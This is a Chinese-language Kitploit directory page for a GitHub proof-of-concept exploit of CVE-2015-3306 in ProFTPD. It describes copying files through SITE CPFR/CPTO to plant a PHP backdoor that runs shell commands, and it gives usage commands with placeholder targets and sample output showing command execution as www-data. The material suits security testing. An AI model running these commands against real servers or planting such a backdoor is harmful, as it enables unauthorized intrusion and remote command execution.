Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2015-3306 | Kitploit
工具/GitHubGitHub/donmedfor/cve-2015-3306
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubdonmedfor/cve-2015-3306

CVE-2015-3306

查看仓库
0年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2015-3306 ProFTPD 漏洞利用

该仓库包含针对 CVE-2015-3306 的 Python 概念验证（PoC）漏洞利用代码。

⚠️ 警告： 仅可对您拥有或已获得明确测试许可的系统使用。未经授权的利用属于违法行为。

作者

Mohamed EL-KHAROUATI

第 1 部分：CVE-2015-3306 ProFTPD 漏洞利用

描述

CVE-2015-3306 是 ProFTPD 1.3.5b 及更早版本中的一个目录遍历漏洞。该漏洞利用工具允许复制任意文件，并将 PHP 后门放入 Web 根目录。该后门可执行任意 shell 命令。

功能

  • 通过 SITE CPFR/CPTO FTP 命令利用目录遍历漏洞。
  • 将 PHP 后门（backdoor.php）放入指定的 Web 根目录。
  • 通过后门执行任意 shell 命令。
  • 支持通过 --rcommand 自定义命令。

环境要求

  • Python 3.x
  • requests 库（pip install requests）

用法、输出与清理（单个代码块）

root@kitploit:~
# Run the exploit
python3 exploit.py --rhost <target_ip> --rport <ftp_port> --rpath <web_root_path> --rcommand <shell_command>

# Example:
python3 exploit.py --rhost <target_ip> --rport <targetftp_port> --rpath /var/www/html --rcommand whoami

# Expected Output:
[+] CVE-2015-3306 exploit by Mohamed EL-KHAROUATI
[+] Exploiting <target_ip> 
[+] Running Command whoami
[+] Target exploited, accessing shell at http://<target_ip> /backdoor.php
[+] Running whoami: www-data
[+] Done
下载工具